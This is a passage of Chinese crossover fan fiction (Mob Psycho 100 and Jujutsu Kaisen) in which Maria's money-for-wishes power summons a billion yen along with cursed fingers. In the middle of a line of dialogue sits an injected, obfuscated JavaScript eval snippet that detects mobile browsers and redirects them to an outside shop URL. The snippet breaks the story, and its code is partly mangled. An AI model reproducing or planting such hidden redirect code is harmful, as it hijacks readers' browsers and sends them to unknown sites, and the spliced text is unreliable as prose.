淀粉量大于鸡肉的炸鸡块就是她对于肉食的顶级理解……! 玛利亚刚想抱怨,手里的500円就因为她下意识用力飞出了手心,蹦上了走廊扶手。 两个大人噢噢了一声。 光头哈了一声:“看来是要生效了。” 怎么说呢……她总有种虽然没有被当成普通人,但也没有被当人的微妙感觉。 虽然并不讨厌。 * “才不是——”而金发笨蛋根本不管那种事情,她是坚持金钱绝对要自己用出去的那派……玛利亚连忙去够,但她手里还拿着其他钱,实在怕这些钞票也变成了追钱路上的沉默成本。 最后的结果,就是多少慢了一步。 于是那枚500円硬币直接在围栏边缘转了两圈,直接掉到了楼下。 然后…… 楼下传来了两个令人耳熟的声音。 一个声音来自灵幻新隆:“吓死我了,还以为有什么恶灵想要袭击……茂夫,那是什么?” “师匠,是500円。”而另一个,则是影山茂夫的声音。 “啊、赚了!” “应该是别人掉的吧,师匠。” “谁捡到就是谁的——!这就是大人世界的规则。” “是这样吗……” ‘茂夫,不要听这个家伙的话,连兼职报酬都用物品替代的家伙根本没资格说什么大人世界的规则’ 而玛利亚趴在围栏上伸头,终于和楼下的两个人一幽灵对上了视线——灵幻新隆手里提着一个鼓鼓囊囊的白色塑料袋。 他还没说话。 那位更老实的徒弟君,影山茂夫已经伸手和玛利亚打了招呼。 “玛利亚小姐,工作还顺利吗?” 他旁边飘着的一个绿色的幽灵直接朝二楼飞了过来。 但玛利亚还没来得因为好奇发问,注意力就被灵幻举起手里的袋子吸引走了。 “因为玛利亚现在还没买电话,我们只能自己过来走一趟了——这是慰问品噢。跟你说,运气超棒,附近的店铺居然还有北海道大米的烤肉便当,不过我还买了普通便当……” 说是慰问。 灵幻一边说着,一边还欲盖弥彰似的强调调查情报还需要一些时间,让她千万不要给那个壶加上诅咒,或者说是给他们那个卖壶的高僧的联系方式他去联系。 ……千言万语只能汇成一句‘千万别诅咒我’。 而影山茂夫的心意俨然要纯粹很多:“不过前门没法进入,我们还在想是怎么回事呢,玛利亚小姐,没问题吗?” 而听到北海道大米,旁边的麻里姐忍不住捂住嘴笑了起来:“实现了呢。” 但此刻玛利亚的眼里除了吃的之外,已经什么都没有剩下了,话语左耳进右耳出,根本没能留在脑袋里。 知道她没那根神经,旁边的麻里姐连忙招呼楼下的两人,免得他们贸然进来也被诅咒,她把这里的事情告诉了对方。 明白了限制。 最后还是茂夫用超能力把东西飘进的大楼,交给了大家。 而旁边的光头则是被飞上来跟玛利亚打招呼——那个影山茂夫收服的怨灵‘小酒窝’吓了一跳,肌肉男直接把佛珠绑在自己的拳头上一拳揍了上去。 事实证明。 目前的硬度排序。 应该是光头的脑袋>>玛利亚的脑袋>>卫星锅>小酒窝的鬼火模式。 自觉赢了的玛利亚得意的笑了起来。 而即便不知道她在想什么,只是看到了这种笑容,光头也觉得有点火大。 然后这之后的几天,关于玛利亚能力的研究、还有送饭的事情也这么一并解决了。 因为灵幻思考了片刻,比出了一个钞票的手势:“真没办法,送饭就交给我,茂夫,超能力的事情,能帮忙吗?” 初中生点了点头。 而两个大人则是看了一眼外面那个一脸奸商模样的灵幻新隆,左右两边拍了拍玛利亚的肩膀。 “看来他也会你的技术啊,玛利亚。” * 而另外一边。 在几天的调查之后,硝子终于得出了一些结论——这种真菌确实和竹子非常相似。 看着是一大丛。 实际上只有一个根,而只要根系开始死亡,其它部分哪怕是新长出来的‘竹笋’,也会和根系一起死去。 这么说着,她将那具男尸的照片,和那位昏迷中的神父放在了一起。 那位昏迷的受害者是灰原和七海建人在东京市教发现的——他带着眼镜的尸体到处行动。 因为鬼鬼祟祟,被两个一年生发现了。 而估计是他的主体意识还保留着一些,也可能是发现了两个一年生身上的咒力。 这个神父直接喊着意义不明的‘它们不能被看见’就陷入了昏迷。 一边眼睛完全报废,昏迷到了现在。 而此刻——硝子指向了死者,也就是眼镜的照片。 “母株。” 然后是右边昏迷中的神父的照片:“子株。” 这些生物的主要目的只有生存与扩张——而其手段则是,在母株的七天寿命内。 感染受害者。 然后逃离母株……但因为它们自己几乎无法活动(考虑到其被注视就无法移动这点)。 所以,需要寄生他人。 她毫无干劲地歪着脑袋,对已经解开的谜团 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“那、这东西最早的源头是哪里……那个神父说是调味市的某处凶宅,但我感觉不追溯到最早的源头就麻烦了。” “这个也不清楚,得你们问那个伤者了吧。” “我们能有什么可以做的吗?应该也有办法可以完全清除这个的根源吧。” 而硝子拖长声音嗯了一声。 “基本上能做的只有让子株和母株待在一起,直到母株死亡。但是一般人的话,会很容易因为恐惧而逃跑吧,而对发现的,已经发作的感染个体来说倒是很简单……注射抗生素,在脑袋被吃光之前等到母株死亡就胜利了吧。”硝子摊手。 毕竟那东西的寿命至多六七天。 不过她能做的已经做完。 女性前辈唔了一声,看向了两个一年生。 “搞清楚这些事情就是一线术师的工作了。” 两人点了点头。 七海建人正想联系辅助监督重新调派工作,另外一边,二年级的班主任夜蛾正道已经推门走了进来,直接打断了七海建人和灰原雄的行动。 梳着平头,一脸凶恶的术师表情难看:“这个东西的威胁现在还没到需要马上处理的程度。”这么说着,他示意自己身后跟着的辅助监督将一份崭新的文件交给两个一年生。 夜蛾正道说起了另外一件紧急工作的事情,据说东京那边出现了都市传说杀人的案件。 “你们关注的这个感染的事情就先让本地的辅助监督和窗来负责,需要战斗力的时候再让你们上。” 看到两个学生带着点挫败的表情。 教师也有些不自在。 “……毕竟能派上用场的术师太少了。”他拍了拍学生的肩膀,“术师的工作……有的时候就是得做这种列车难题一样的选择,安心,如果这个案件出现新的受害者的话我们就会马上派你们出动。” 所以就算马上就想出发,等灰原雄和七海建人踏上调味市,遇到那个和灰原几乎同品种的笨蛋,和那栋诡异的住宅的时候。 已经是两周之后了。 * 而这两周里。 玛利亚那边也发生了不少的事情。 首先。 那些‘失踪’的霉菌最后还是找到了,在第六天的夜里。 它们似乎是被锁在了玛利亚制造出来的,无限重叠的走廊里——黑色污渍的霉斑全堆在了公寓大门旁边,简直像是一层厚厚的‘门框’。 它们像是想要逃脱,或是追上什么东西的脚步似的。 玛利亚打量着霉菌的动势—— 发现那是西山神父从围栏里翻出去离开的方向,它们似乎是打算追上什么,却没能做到。 然后。 那些霉菌在第七天就死亡了,只留下了一些‘意义不明的东西’。 而等到第八天,他们终于找到了这栋公寓的屋主——却被告知,那位屋主老人早因为脑萎缩在半个月前死亡了,她的子女正是被灰兼找到,才知道有这处地产的存在。 所以。 虽然公寓的情况变得有些麻烦,最后—— 衡量了要怎么处理这处夜间就会变得诡异的建筑、它过于恶劣的名声导致根本没法脱手转卖、遗产税还有杂七杂八的要素之后。 在灵幻新隆的三寸不烂之舌的劝说(哄骗)之下。 这栋楼终于迎来了自己的第一个住户和夜间保安。 叮铃一声。 属于一楼,那间曾住着连环杀人犯,离地下室和保安室最近的房间钥匙,落到了玛利亚的手里。 以每月7万房租,减去5万的精神损失和1万的夜间补助金。 最后以市价的五分之一的一万二(含税)每月成交了。 而说通了这一切的灵幻哼哼笑了两声:“毕竟那个房东也不想往这个诡异的地方跑……如果有人想要看房、或是楼里有什么问题也得由你解决,可以吧?玛利亚。” * 而另外一边。 刚拒绝和后辈一起调查奇怪的霉菌感染,夏油杰也已经踏上了自己的工作,顺带搜查之旅。 虽然对灰原有些抱歉。 但他现在正忙,根本没空应付什么劳什子调味市的异常霉菌事件。 但首先。 这位狐狸眼一级术师要应对的——并不是去搜查散播诅咒钱币的诅咒师。 而是他的同级生。 此刻,五条悟手里正捏着个咒灵—— 那个小家伙长得粉嘟嘟的,跟个胖得过分,而爬不动的球形胖守宫蜥蜴一样,肚皮滚圆像个篮球,嘴里还在‘唔姆唔姆’地乱叫。 “——这样下去真的会被宝O梦告的吧,杰。”墨镜男高脸上全是幸灾乐祸,“这个娃娃鱼真的是咒灵吗?看上去……”他勾下墨镜。 更像是近乎精灵的样子的啊,身上属于恶的那部分几乎都被剥离了。 而夏油杰叹了口气:“真的是咒灵,而且,不是娃娃鱼,是守宫蜥蜴。”他亲口吃下去的,虽然有些发甜。 “这个咒灵会干什么?” “唔姆唔姆!” “……会侵权吧。”他要是知道就好了。 对自己也还没有搞清楚的事情,狐狸眼男高完全放弃了挣扎。 而那个被捏住的胖蜥蜴只会唔姆,噢,还有伸舌头。 14.两个笨蛋2 不过。 这两周里。 玛利亚倒也不是忘记了自己要找钱箱的终极任务。 她会在调味市落脚,主要有十个原因。 其中有七个和钱有关,就不多说了——而剩下的三个。 第一个,虽然第一次的工作最后稀里糊涂地解决了,但是,她的面前很快就迎来的新的麻烦。 那个能力。 它的本质、极限和作用到底是什么呢? 得搞明白才行。 打工仔三人最后还是变成了分分合合的流散状态。 麻里姐着急挣钱,所以根本没有休息的时间,而光头很快就要开学(这话听上去真不顺耳),只能再干半个月,然后就回大学报道去。 所以这两周里,他们又一起做了几单。 玛利亚处理公寓的收尾事项的时候麻里姐和光头跑到千叶县兼职去了—— 而因为要处理公寓,又要搞清楚超能力的事情——玛利亚只是等两人回来,才抽空搭伴,又找了两次看上去没那么危险的兼职。 一次是带上面具,给奇怪的祭典担任背景里跳舞的NPC。 光头因为无法穿上女装,面试阶段就被刷下来了。 收入10万円。 身体不听使唤地一路跳到了天亮,最后还是玛利亚不小心扯断了两千円,两人才在天亮后跑了出来。 还有一次是在接线公司的特殊部门接电话。 不管对方说什么都要答应:“好,就这样做吧。” 在光头的提议下,在工作开始之前,他和麻里姐一人给了玛利亚五千円。 然后玛利亚就这样维持着左耳进右耳出的状态,一路当无情绪的应答人员,第一天就顺利拿到了8万円。 她第二天本来还打算继续干来着。 麻里姐却满身冷汗,表情难看地拉着她提早辞职了。 而光头则是让玛利亚拿出他们给玛利亚的纸钞——发现那玩意儿直接被烧了一半。 又亏了一万。 察觉到这样乱来还是不行,在玛利亚将要跟两人一起投入下一个工作之前,还是麻里姐和光头叫下了暂停。 “玛利亚现在这样太不可控了……”在启程回大学之前,光头坐在玛利亚的公寓打了一晚上地铺,“虽然理论上知道应该会生效,但能做到什么,它的限度在哪里,需要花费多少代价完全是未知的。” 对此。 玛利亚倒不怎么担心。 她歪着脑袋,多少有点……反正再怎么样运气都是站在自己这边的迷之直觉。 “可是,给了钱的话就代表100%吧?”无条件相信交易已经变成了一种本能,她有的时候感觉不是自己操纵着事件的流向往自己想要的方向去。 而是事情本就打算往这边发展。 她只是作为流向的一部分存在罢了,就像是倒下的多米诺骨牌必定有一个将第一张牌推-倒的手。 而她必定会在那里……这种感觉? 但这种听之任之的态度很快就被麻里姐叫停了。 此刻她也坐在玛利亚的公寓里。 各有各的穷处,需要省吃俭用的穷鬼们凑了个大披萨,因为便宜,只加了一份培根和十份的菠萝——麻里姐打开了一罐啤酒:“可是,明明有很多事情本来就可以靠人力来解决吧?但是因为玛利亚根本没法掌握那个开关。” 找不到路的时候,其实找人问路或是查询一下地图就好了。 但是因为她散漫地想要找到地方。 硬币就会随便消失。 然后带着玛利亚莫名其妙兜兜转转地找到正确的地方。 或者是单纯的错过了公交车。 “等下一班就好了吧!?”光头哼了一声,“竟然莫名其妙就让两万円泡了水……” 在公交的前方引发了奇怪的无人伤亡的车祸,守在路口的辆车司机吵了半天架,硬生生让玛利亚搭上了公交车。 虽然实现了。 但是代价大得离谱,而且因为堵塞,最后还是迟到了。 玛利亚倒是很能为自己的能力辩白:“可是确实实现了嘛。”她真搭上公交车了。 “……还不如打车呢。”光头哼了一声,他靠着墙壁对玛利亚伸-出了一只手,“要是去到工作的时候,真出现要命的事情,你的钱却因为这些鸡零狗碎的事情早就消耗掉了怎么办!?” “……” 玛利亚直接变成了灰色。 但两个大人都狐疑地眯起了眼睛:“……虽然我想说不用为还没发生的危险担心……你只是想到那些可能会消失的钱而已,是吧?” 她的视线漂移了几度。 * 所以。 不得不管了。 第二周。 光头春假结束,已经回大学报道去了。 而麻里姐打工实在太忙(她临走之前又给玛利亚塞了一张一万)。 所以,是作为超能力者和超·能力者的影山茂夫和灵幻新隆担起了帮玛利亚搞清楚她能力的重任。 毕竟这也是关于玛利亚自身的情报,她给了那个壶作为首付,但灵幻新隆只是跟拖延症犯了一样,一直没有什么下文。 这两人给玛利亚找来了他们认识的不少超能力者们,这其中包括了—— 被影山茂夫痛揍一顿,把犯罪邪恶组织的铁饭碗都丢掉的‘爪’组织喽啰们。 被影山茂夫痛揍一顿的幽灵,小酒窝。 还有被影山茂夫痛揍一顿,还被剔成了地中海发型,现在顶着一个差不多柱子高假发的花泽辉气。 总感觉这些人和幽灵存在一些玛利亚没有搞清楚的共性,是错觉吗? 玛利亚歪着脑袋,有些疑惑。 “茂夫的交友方式很特别呢……这就是‘打开心扉’吗?” “……你能不能说点自己明白的词汇,玛利亚。”灵幻直接露出了嫌弃脸。 而玛利亚只是看向了他:“所以,我和灵幻先生还有隔阂就是这个原因吧。” “都说了听人说话啊你这个笨蛋!” 顺便一提。随着天气逐渐变暖,顶着乱糟糟金发的笨蛋这会儿已经脱下了只有高山和很冷的地方才穿得住的登山服,换上了一套绿色的运动服。 是麻里姐带着她买的。 但只有运动服因为足够舒服,变成了玛利亚的第二皮肤。 头发也因为长了一些,被扎了起来,不过,因为往后梳好像会暴露自己侧后方的脑洞。 最后还是灵幻出手。 帮玛利亚扎了一个双马尾。 ……总感觉他熟练地过分。 当然这些都是无关紧要的小事,那边厢,刚和被找来的超能力者扎堆见了一面。 玛利亚的脑袋好奇地顺着跟个苍蝇一样绕着自己转的小酒窝打转。 她能力的本质、极限,以及它具体能做到的事情还没搞明白。 脸倒是被认出来了——被来自黑醋中学的二年生,花泽辉气。 这是谁也没有料到的事情。 * 将无关人士挥退。 和玛利亚同样为金发的初中生皱起了眉头,顶着玛利亚的脸打量了半天,然后睁大了眼睛:“……铃木真理亚……你是铃木真理亚,对吧?!”他语气非常惊讶。 他嘴里吐-出了一个和玛利亚发音完全一致的名字。 真理亚,音同Maria。 这下所有人都睁大了眼睛—— 灵幻新隆诶了一声:“不是说在高野山生活了很久吗!?” “啊……去了高野山啊。”而短暂地惊讶之后,花泽辉气点了点头,一副原来如此的感觉。 而虽然脑袋里已经变成了一片空白,玛利亚仔细观察了一下华泽辉气,特别是他顶在头顶,足有三个足球垒起来那么高的假发。 很陌生。 只凭借本能的话,玛利亚不觉得自己认得这张脸:“花泽认识我吗?我们认识?之前。” 而且。 虽然所有人都不清楚玛利亚的来历——她看上去差不多是17到19岁之间,怎么看也不像是和一个初中生(花泽是中学二年级)认识的样子。 “啊、我们当然不认识了。”而花泽辉气连忙摆了摆手,他有些尴尬,“应该说……那什么,我是单方面认识铃木前辈才对。” “这个姓氏也很陌生。”玛利亚捏着自己的下巴,总觉得对这个姓氏不太满意。 “……呃,也可能就是碰巧同一张脸吧,但是……名字也是maria,并且长得一模一样,可能性很高啦,总之、这只是我的猜测啦猜测!” “所以?” 所以—— “铃木玛利亚是黑醋高中部的前辈,据说是啦,今年理论上已经是高三了……” 玛利亚算了一下:“初中是12到15岁,高三的话就是16、17……18!噢,那我算是成年了嘛!”她的重点完全歪斜,“那这样的话,需要驾照,或是有年龄限制的兼职也可以去应征了呢。” 她听那些说18岁就能搞到驾照了。 不知道是去哪里领…… 而灵幻虽然看不懂灵异,但是能看懂人心:“虽然不知道你在想什么,但绝对大错特错。” “驾照不是18岁就发吗?”类似于‘我已经可以为撞死自己负责’的免责声明一类的东西……玛利亚一脸理所当然。 “不,虽然也有那种意思、真是的,你先搞清楚身份再说考的事情吧!”灵幻都被玛利亚带跑了几公里,才想起正事,“才不对!重点不是这个!” 他站在办公桌后面,听着花泽辉气的描述,双手抱胸,显然是已经发现了可疑之处。 “花泽,你是初中生是吧。” “嗯。” “黑醋中的高中部,我记得是你们的隔壁……?” “嗯,我们会共享一些体育设施,总的来说算是对称一样的……” 没等花泽话说完,灵幻已经一拍桌子。 “待った(matta)!等等!”办公室里唯一的成年人指向了花泽辉气,“——那你怎么会知道玛利亚的脸?” “……把我当犯人问审讯啊,灵幻先生。”花泽的额角流下了冷汗,然后他这才有些不自在地看向了玛利亚。 犹豫了片刻。 “因为玛利亚小姐是黑醋中的名人啦……”他语气有些复杂。 而室内的灵幻、影山、还有玛利亚都起了好奇。 灵幻直接扯出了个嘲笑的笑容,指着玛利亚:“这家伙该不会是全校闻名的不-良少女、女番头(混混领头)之类的家伙吧。” 几人眼前都闪过了喊着制霸O兰,用八字蹲蹲在路边的抽烟(以棒棒糖代替),跟路过的同学呛声,说‘你看什么!?’‘喂、最近有点缺钱啊……’的玛利亚。 ……怎么感觉都不太像。 不。 最近有点缺钱那部分搞不好是超写实,虽然说这话的方式可能不太对。 小酒窝甚至在观察玛利亚的同时直接抱怨:“灵幻你这家伙的思想也太低劣了吧。” “——唯独你这个幽灵没有资格说我!”成年人急了。 “那个……”影山茂夫面上露出了向往的表情,他举起手,“玛利亚小姐会不会是学生会长呢,学习和体育都很好,很受欢迎的……”所以才会被一眼认出来吧。 那应该是胳膊上套着风纪袖章,一边走动,一边还一脸端庄地和周围的同学打招呼的人。 兼具亲和力和威严,满身强健修长的肌肉的金发女学生会长一瞬间闪过了几人的面前。 但这个幻想场面的‘学生会长’面部不管怎么样,都唯独、没办法把玛利亚的脸P上去。 虽然没人开口……但大家都能看出这搞不好是茂夫自己的幻想。 两人说完,花泽辉气却没什么反应——知道这些猜测落空。 灵幻新隆和影山茂夫实在猜不出还有什么可能性。 在学校里显眼到初中部的学生都认识的面孔…… 难道、 两人睁大了眼睛。 “……学园爱抖露?” 灵幻和茂夫都看向了玛利亚——她一头金发确实算得上是时髦,但也仅此而已了。 一看就没有好好打理过的金发这会儿被扎成了乱糟糟双马尾还不大对称。 玛利亚看着灵幻和茂夫都对自己投以了奇怪的打量目光—— 他们扫过了玛利亚穿得歪歪扭扭,以舒服和方便跑路为第一的绿色套装运动服,心口拉链左右还玩笑似的印着‘财|运’…… ……这样的奇怪字眼。 真让人好奇这种衣服到底是怎么在犄角旮旯被找出来的,不过一想到她花钱的时候总能达到自己的目的,倒也不出奇了。 玛利亚歪着头,冒出了一个问号。 “……不行,我连想象的画面都调不出来。”灵幻第一个放弃了,“她那种浑然天成高兴到让人生气的感觉真的能当校园爱抖露吗。” 倒是茂夫很达观:“不过,玛利亚小姐这种我行我素的性格,应该也会很受欢迎吧。” “也是,毕竟脾气很好。”这么说着的灵幻已经轻轻拍了拍玛利亚的头顶。 而听着他们你一言我一语,反倒是花泽辉气变得犹豫起来。 他过了一阵子才挠着后脑开口。 “咳咳,是以不去上学出名的啦……” 在场的灵幻、影山茂夫、连同小酒窝都吓了一跳。 “她吗!?”灵幻和小酒窝一齐指向了玛利亚。 * 铃木真理亚(maria)。 据花泽所说——是黑醋高中-出了名的幽灵学生,似乎是因为家庭原因,身上总是青一块紫一块的。直到高二除了开学的头一周之后就拒绝出席,之后直接就人间蒸发了。 学校因为她的失踪,还曾经贴过一段时间她的学生照照片。 但后来听说她家里人也搬走了,这事情就不了了之了。 这么说着。 花泽辉气借用灵幻新隆的电脑调出了学校的BBS首页,将屏幕转向了几人。 荧幕上的铃木真理亚确实和玛利亚有着一模一样的面孔。 但是。 花泽辉气明显也非常惊讶:“不过铃木前辈以前是黑发,所以我第一时间也没能马上认出来……啊、气质也是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085991|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 只见学生照上的铃木真理亚应该还是高一,她蓄着一头整齐的妹妹头黑发,配上有些阴郁的安静表情,眼睛总是半阖着,并不直视镜头,一看就是不太有活力的类型。 但玛利亚却完全与之相反。 金发,不修边幅的打扮,轻飘飘的氛围和过于无神经的表现。 失忆会让人有这么大的改变吗? 几个人十分怀疑。 但玛利亚只是将脑袋凑近了荧幕,眯着眼睛打量了一会儿之后就摇了摇头:“……我是玛利亚(maria)。” “不,这种事情不用说也知道、” 而那个金发笨蛋却反常地皱起了眉头,她试图张嘴说什么,但很快就发现了不对劲的地方。 玛利亚有些艰难地指了指自己的嘴巴,确切来说是舌头。 玛利亚察觉到了一件事。 声线、舌头……有些不太听使唤。 她看着这张学生证,总感觉十分陌生——眼前隐约闪过了一两帧断片般的记忆。 和她有着同样脸的人倒在地上……在跟她说着什么,那是许愿吗? 她记不太清楚。 却也觉得自己应该不是…… 但玛利亚的思考没能继续就被截停了,不受控制的喉舌把她本来想说的否认句子扭曲成了同意。 “嗯,我是玛利亚(maria)。”玛利亚下意识捏住了自己的下巴,发现自己没法把自己真正的想法说出口。 而灵幻已经露出了笑容:“既然有身份就好查了!哟西,总之到时候先去学校打听消息好了。” 只有茂夫的面瘫脸上露出了些微的担心,似乎只有他察觉到了微妙的不对。 而玛利亚思考片刻,只是摇了摇头。 反正找‘真理亚’的信息确实是个方向,也无所谓,就这样吧。 ……虽然说话被控制了,但是她并没有感觉到危险,更多的还是一种莫名的紧迫感。 这是为什么呢? * 而送走了花泽辉气。 对玛利亚的特殊能力的调查仍没有任何进展。 反倒是灵幻新隆思考了很久,终于定下了调子:“玛利亚,你知道你的能力,最需要知道的是什么吗?” 她的能力倒是很好理解,无非是等价交换。 别人把钱给玛利亚,就可以能实现他人迫切的愿望,钱会保留。 而玛利亚自己使用的时候,钱则是直接消失或被销毁。 哪怕她没有仔细思考,这东西好像也是自动运行着……花钱的时候,会有有利于玛利亚的事情发生。 而对于灵幻的说辞,玛利亚思考了片刻:“金钱储备?” 灵幻哼了一声,已经双手比出了否认的大叉:“是价码!” 这是涉及到金钱的时候最重要,也是应该最先思考的事项——什么金额代表了什么程度的‘愿望’和‘奇迹’! 作为等价交换的这个价码,到底是怎么确定的。 “师匠,我感觉把这两个放在一起也太奇怪了。”反倒是影山茂夫意外地正常,“能买到的就不能算是奇迹吧,而且,靠超能力做到的……也不是什么奇迹,只是放弃努力,作弊而已。” 灵幻摇了摇手指:“从我们现在所知的情况,玛利亚的能力一般来说,都是让金钱以合乎逻辑的方式消失、她的目的也会以看似合理的方式实现。” 跟着硬币找到路,硬币掉进下水道。 需要吃饭的时候朋友过来探望。 想赶上公交,前面堵车……一切都是合乎情理,会发生的巧合。 “但是,你之前也说过,在公寓的时候——因为不想离开,把那里变成了不合乎逻辑的无限回廊了吧。” 双手抱胸的超·能力者以食指敲打着自己的胳膊。 “这就代表了——在没有办法让它‘看似合理地发生’的时候,哪怕扭曲现实,你的想法也会实现,只是这样的话,就会一口气花费巨量的金钱。” 那么。 在这种情况下。 “……你的收费标准是什么?” 玛利亚没懂他的意思:“按小时算?”劳务的话。 “不,我是说你的能力——它会是和市价一样呢?比如,无中生火,就是一个打火机的价格,因为打火机也能做到同样的事情。祈愿有吃的,会消费便当同等价格。” 旁边的小酒窝露出了嫌弃的表情:“……你是想要赚差价吧,灵幻。” 如果在玛利亚那里‘买’得更便宜,他要进货吗? 黄发大人连忙咳嗽了一声,扭转了话题,他提高了音量:“所以,为了实验,首先我们需要有足够的钱,以及足够的不同面额吧?” 因为大面额被消耗掉也不会退回找零。 这么说着。 他哄骗似的看向了玛利亚。 “这样玛利亚才可以实验自己的能力分别是什么价位吧——” “……到底要做什么?” “许愿吧,玛利亚。”而灵幻十分爽快,“我从以前就一直想过,如果在我面前出现了神灯里的精灵,我会许什么愿望……后来我想明白了。” 这个唯一的成年人双手用力地握紧,向玛利亚比出了十的手势。 “——我绝对会向它许愿,再给我三十个愿望!” 所以。 “玛利亚。”灵幻低头,阴影遮住了这个可疑的疑似诈骗犯的上半张脸,他的声音鼓动性极强,“许愿吧!” 现在就许‘我会变得超级有钱的愿望’。 不。 “现在就许!说你想要十亿日元。”都讲不好是玛利亚的执着还是灵幻的执着了。 而下一秒,在玛利亚的念头刚落下,[灵幻咨询室]的办公室内,就突然出现了一个沉重的黑色箱子,就这样砰的一声落在了玛利亚的膝盖上。 而随着箱子的出现。 还有另外一些东西也落在了箱子上——玛利亚打眼一看,那是十根棕黑色,像是风干之后的人类手指,它们上面有的绑着带奇怪咒文的绷带,有的只是裸-露着。 这几根手指并不安静,似乎是被什么神秘的力量驱动——上面眼看就要冒出一个被超能力或是咒力构成的双面人脸。 小酒窝第一时间就看向了影山茂夫,被它散发着的邪恶力量吓了一跳。 “喂喂!这个东西超级不妙……茂夫,快跑!” 而灵幻则是被吓了一跳:“什么什么?!”他只是个普通人,完全搞不清楚状况。 “师匠、这个东西——”而影山茂夫已经提高了警惕。 “快让,对了,玛利亚想想办法!?”小酒窝整个灵都炸了起来。 但玛利亚已经沉浸在黑色箱子里面的东西了——那确实是十亿日元。 ……得到并不属于自己的金钱的同时。 事情好像,也会朝着厄运方向进发一点点的样子。 * 而虽然不是重点,此刻,日本的另外几处。 一些曾被委以重任,看守诅咒的神社、寺庙、学校突然失窃。 而一个脑袋上顶着缝合线男人的宿傩手指库存更是直接消失了一-大半。 15.两个笨蛋3 接收金钱,就得满足他人的想法。 损失金钱,自己的愿望就会得以实现。 没有特定的想法,只是任由金钱流失的话,好像就会发生好事。 那么。 反之呢? 如果得到一-大堆不属于自己的金钱的话? * 灵幻咨询室里已经乱成了一团。 那边落到玛利亚腿上的十亿日元且不说——这些强制性买一送一被丢过来的奇怪手指才是要命的东西。 在一群看得见的人眼里。 裸-露在外,犹如烧过头的叉烧干的黑红色手指旁边此刻已经泛起了,如同牛奶煮沸扑锅一样的史莱姆泡泡,上面缀着一-大堆眼睛,一看就不是什么惹人喜欢的‘好东西’。 那些黑色的气泡里。 此刻已经浮上了一个还未醒来的丑陋人脸。 强大的邪恶气息一瞬间充满了整个房间,不管是小酒窝、影山茂夫,还是玛利亚都感到了非常明显地不适。 小酒窝已经尖叫了起来:“不行、这里面是个比我还要强的诅咒,不行,堆在一起会召唤其它诅咒过来扎堆的、喂,那边的玛利亚——快点想办法把这个东西——” 说到这里,小酒窝卡壳了一瞬。 送到神社?哪有可以镇压这种东西的地方啊? 警局? 好像会出大问题的。 茂夫来处理? ——不、让那孩子(初中生)处理这种东西太危险了。 果然,还是得…… 冷静回笼。 这个幽灵第一时间就从认真模式变回了简笔画一样的五官,给出了*正确*答案:“我们快跑吧。” 然后它话音刚落就被茂夫扯住了鬼火尾巴:“小酒窝,你应该知道这种东西是什么吧?” 只有灵幻新隆什么都看不到,也无法感知邪恶的气息,他先是随着惊恐的氛围紧张了一阵——然后就在等待了片刻,也什么都没听到、看到之后。 因为灵幻新隆的行动过于突然,影山茂夫还没来得及劝阻。 “别紧张!我会处理这个!”黄发老板直接好奇地靠近了那堆被‘召唤’而来的手指。 他一开始还能嬉皮笑脸:“你看它也没有什么……”了不起的。 然后下一秒就变成了惊吓。 “——等等等等救命!” 刚一靠近,灵幻新隆就直接啪一声被奇怪的气压压-在了墙壁上,他的手像是不听使唤一样直接捏住了其中的一根手指,像是被人拽着胳膊和下巴一样不受控制地将手指往自己的嘴里喂。 “不行这东西也太不卫生了——”灵幻像是被人提着衣领,按在了墙上一样动弹不得,脚步逐渐悬空了起来。 而且到底是什么诅咒会让人无法自控地想要吃掉干尸手指啦!超噁! 世界的恶意吗!? 如果这是神秘雇主给玛利亚的钱那这就是他的愿望吗!?看人吃下诅咒? “茂夫——!”黄发超·能力者在左右疯狂摇头回避手指的同时,一下子叫醒了正在体验被金钱腐蚀人性的玛利亚,“对了,玛利亚……还回去!”唯独这个时候,这位油嘴滑舌的‘师傅’脑子转得特别快。 “玛利亚,把它还回去——你手里不是有钱吗?” 而影山茂夫这才又抬起一只手,在灵幻的脸外面制造了一个透明的屏障,让手指没法被吞下去。 场面顿时乱成了一团。 玛利亚·没有负面感情·因此也没有负罪感·金发恶魔终于从打开的黑箱子里抬起了头——里面满满当当都是成捆成捆的纸钞,简直是她这辈子没见过的……幸福的重量。 黑影从某个不存在的角度投下,挡住了玛利亚的上半张脸。 邪念不由地从她的…… 而灵幻躲在防护罩里面,脸都在手指和屏障的角力之下被挤成了一摊圆饼:“——这样我就不帮你找钱箱子了!”你那3000円到底还要不要? ……邪念从玛利亚的心里消失了。 她眼睛又变得清澈了下来。 “竟然是选3000円那边吗。”绿色的幽灵沉默了片刻,“都不知道到底算是爱钱还是不爱钱了。” 而玛利亚则是义正言辞:“我和金钱的关系可是很纯真的!” 然后,一贯没什么烦恼的金发犬科难得纠结了起来。 她不知道该怎么操作,因此只能试试——玛利亚将双手盖伏在黑箱子上,眼睛盯着那堆被召唤而来的手指。 该向谁许愿? 怎么许? 她以前都是随便想象,什么负担都没有——简直像是让一个习惯了全自动呼吸的人用意识操纵呼吸一样。 横膈膜牵引肺部?肌肉协调?吸气这个动作到底需要调用哪些肌肉群来着? 她拼命地思考着让这些东西‘回去’——请? 也许是她的许愿感动了自己的能力。 下一秒,就连玛利亚自己的钱包也燃了起来。 十根手指来。 十亿日元走。 一来一回。 还有手续费。 ——玛利亚作《七万日元》 十亿日元附带的东西,最后要用十亿零七万送走。 简直就像是龙珠许完愿之后,四散纷飞的O珠的再现一样,风干手指一根根从空中飘了起来,然后随着黑箱子里的金钱消失…… 它们一根根、嗖地一声砸破了窗户,像流星一样升上了天空,咻地一下就朝着四面八方消失了。 只有最后一根留在了这里。 因为玛利亚手里黑箱子里的钱和钱包里的现金全都一瞬间燃烧殆尽,没了‘燃料’,它在要飞不飞之间选择了坠机。 啪嗒一声,这根看上去非常可疑地重新落在了玛利亚面前。 